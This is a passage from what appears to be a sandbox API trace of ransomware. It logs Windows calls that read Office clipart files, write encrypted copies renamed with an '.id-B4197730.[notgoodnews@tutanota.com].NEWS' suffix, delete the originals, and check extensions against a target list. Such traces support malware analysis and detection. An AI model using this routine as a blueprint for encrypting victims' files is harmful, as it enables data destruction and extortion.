lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.119] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.119] SetEndOfFile (hFile=0x384) returned 1 [0076.119] CloseHandle (hObject=0x384) returned 1 [0076.120] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.121] SetEndOfFile (hFile=0x2c4) returned 1 [0076.123] CloseHandle (hObject=0x2c4) returned 1 [0076.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0076.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0076.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.346] lstrlenW (lpString=".doc") returned 4 [0076.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.346] lstrlenW (lpString=".docx") returned 5 [0076.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.347] lstrlenW (lpString=".pdf") returned 4 [0076.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.347] lstrlenW (lpString=".xls") returned 4 [0076.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.347] lstrlenW (lpString=".xlsx") returned 5 [0076.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.347] lstrlenW (lpString=".ppt") returned 4 [0076.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.347] lstrlenW (lpString=".zip") returned 4 [0076.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.347] lstrlenW (lpString=".rar") returned 4 [0076.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.347] lstrlenW (lpString=".bz2") returned 4 [0076.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.347] lstrlenW (lpString=".7z") returned 3 [0076.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.347] lstrlenW (lpString=".dbf") returned 4 [0076.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.347] lstrlenW (lpString=".1cd") returned 4 [0076.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.347] lstrlenW (lpString=".jpg") returned 4 [0076.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.347] lstrlenW (lpString=".doc") returned 4 [0076.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.347] lstrlenW (lpString=".docx") returned 5 [0076.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.347] lstrlenW (lpString=".pdf") returned 4 [0076.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.348] lstrlenW (lpString=".xls") returned 4 [0076.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.348] lstrlenW (lpString=".xlsx") returned 5 [0076.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.348] lstrlenW (lpString=".ppt") returned 4 [0076.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.348] lstrlenW (lpString=".zip") returned 4 [0076.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.348] lstrlenW (lpString=".rar") returned 4 [0076.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.348] lstrlenW (lpString=".bz2") returned 4 [0076.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.348] lstrlenW (lpString=".7z") returned 3 [0076.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.348] lstrlenW (lpString=".dbf") returned 4 [0076.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.348] lstrlenW (lpString=".1cd") returned 4 [0076.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0076.348] lstrlenW (lpString=".jpg") returned 4 [0076.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.348] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0076.348] lstrlenW (lpString="AN04134_.WMF") returned 12 [0076.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.688] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3416) returned 1 [0076.688] CloseHandle (hObject=0x35c) returned 1 [0076.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0076.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0076.689] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.689] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0077.119] GetLastError () returned 0x0 [0077.119] ReadFile (in: hFile=0x35c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xd58, lpOverlapped=0x0) returned 1 [0077.122] WriteFile (in: hFile=0x38c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xd60, lpOverlapped=0x0) returned 1 [0077.123] ReadFile (in: hFile=0x35c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.123] WriteFile (in: hFile=0x38c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.123] SetEndOfFile (hFile=0x38c) returned 1 [0077.123] CloseHandle (hObject=0x38c) returned 1 [0077.124] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.124] SetEndOfFile (hFile=0x35c) returned 1 [0077.125] CloseHandle (hObject=0x35c) returned 1 [0077.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0077.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.126] lstrlenW (lpString=".doc") returned 4 [0077.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.126] lstrlenW (lpString=".docx") returned 5 [0077.126] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.126] lstrlenW (lpString=".pdf") returned 4 [0077.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.126] lstrlenW (lpString=".xls") returned 4 [0077.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.126] lstrlenW (lpString=".xlsx") returned 5 [0077.126] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.126] lstrlenW (lpString=".ppt") returned 4 [0077.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.126] lstrlenW (lpString=".zip") returned 4 [0077.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.126] lstrlenW (lpString=".rar") returned 4 [0077.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.126] lstrlenW (lpString=".bz2") returned 4 [0077.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.126] lstrlenW (lpString=".7z") returned 3 [0077.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.126] lstrlenW (lpString=".dbf") returned 4 [0077.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.126] lstrlenW (lpString=".1cd") returned 4 [0077.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.126] lstrlenW (lpString=".jpg") returned 4 [0077.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.127] lstrlenW (lpString=".doc") returned 4 [0077.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.127] lstrlenW (lpString=".docx") returned 5 [0077.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.127] lstrlenW (lpString=".pdf") returned 4 [0077.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.127] lstrlenW (lpString=".xls") returned 4 [0077.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.127] lstrlenW (lpString=".xlsx") returned 5 [0077.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.127] lstrlenW (lpString=".ppt") returned 4 [0077.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.127] lstrlenW (lpString=".zip") returned 4 [0077.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.127] lstrlenW (lpString=".rar") returned 4 [0077.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.127] lstrlenW (lpString=".bz2") returned 4 [0077.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.127] lstrlenW (lpString=".7z") returned 3 [0077.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.127] lstrlenW (lpString=".dbf") returned 4 [0077.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.127] lstrlenW (lpString=".1cd") returned 4 [0077.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0077.127] lstrlenW (lpString=".jpg") returned 4 [0077.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.128] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.128] lstrlenW (lpString="AN04326_.WMF") returned 12 [0077.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.128] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3348) returned 1 [0077.128] CloseHandle (hObject=0x35c) returned 1 [0077.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0077.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.128] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.128] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0077.129] GetLastError () returned 0x0 [0077.129] ReadFile (in: hFile=0x35c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xd14, lpOverlapped=0x0) returned 1 [0077.130] WriteFile (in: hFile=0x38c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xd20, lpOverlapped=0x0) returned 1 [0077.131] ReadFile (in: hFile=0x35c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.131] WriteFile (in: hFile=0x38c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0077.131] SetEndOfFile (hFile=0x38c) returned 1 [0077.132] CloseHandle (hObject=0x38c) returned 1 [0077.132] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.132] SetEndOfFile (hFile=0x35c) returned 1 [0077.133] CloseHandle (hObject=0x35c) returned 1 [0077.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0077.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.134] lstrlenW (lpString=".doc") returned 4 [0077.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.134] lstrlenW (lpString=".docx") returned 5 [0077.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.134] lstrlenW (lpString=".pdf") returned 4 [0077.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.134] lstrlenW (lpString=".xls") returned 4 [0077.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.134] lstrlenW (lpString=".xlsx") returned 5 [0077.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.134] lstrlenW (lpString=".ppt") returned 4 [0077.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.135] lstrlenW (lpString=".zip") returned 4 [0077.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.135] lstrlenW (lpString=".rar") returned 4 [0077.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.135] lstrlenW (lpString=".bz2") returned 4 [0077.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.135] lstrlenW (lpString=".7z") returned 3 [0077.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.135] lstrlenW (lpString=".dbf") returned 4 [0077.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.135] lstrlenW (lpString=".1cd") returned 4 [0077.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.135] lstrlenW (lpString=".jpg") returned 4 [0077.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.136] lstrlenW (lpString=".doc") returned 4 [0077.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.136] lstrlenW (lpString=".docx") returned 5 [0077.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.136] lstrlenW (lpString=".pdf") returned 4 [0077.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.136] lstrlenW (lpString=".xls") returned 4 [0077.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.136] lstrlenW (lpString=".xlsx") returned 5 [0077.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.136] lstrlenW (lpString=".ppt") returned 4 [0077.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.136] lstrlenW (lpString=".zip") returned 4 [0077.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.136] lstrlenW (lpString=".rar") returned 4 [0077.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.136] lstrlenW (lpString=".bz2") returned 4 [0077.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.136] lstrlenW (lpString=".7z") returned 3 [0077.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.136] lstrlenW (lpString=".dbf") returned 4 [0077.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.136] lstrlenW (lpString=".1cd") returned 4 [0077.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0077.136] lstrlenW (lpString=".jpg") returned 4 [0077.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.137] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.137] lstrlenW (lpString="AN04332_.WMF") returned 12 [0077.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.137] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=4296) returned 1 [0077.137] CloseHandle (hObject=0x35c) returned 1 [0077.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0077.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.137] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.138] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0077.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0077.138] GetLastError () returned 0x0 [0077.138] ReadFile (in: hFile=0x35c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x10c8, lpOverlapped=0x0) returned 1 [0077.139] WriteFile (in: hFile=0x38c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x10d0, lpOverlapped=0x0) returned 1 [0077.140] ReadFile (in: hFile=0x35c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0077.140] WriteFile (in: hFile=0x38c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: 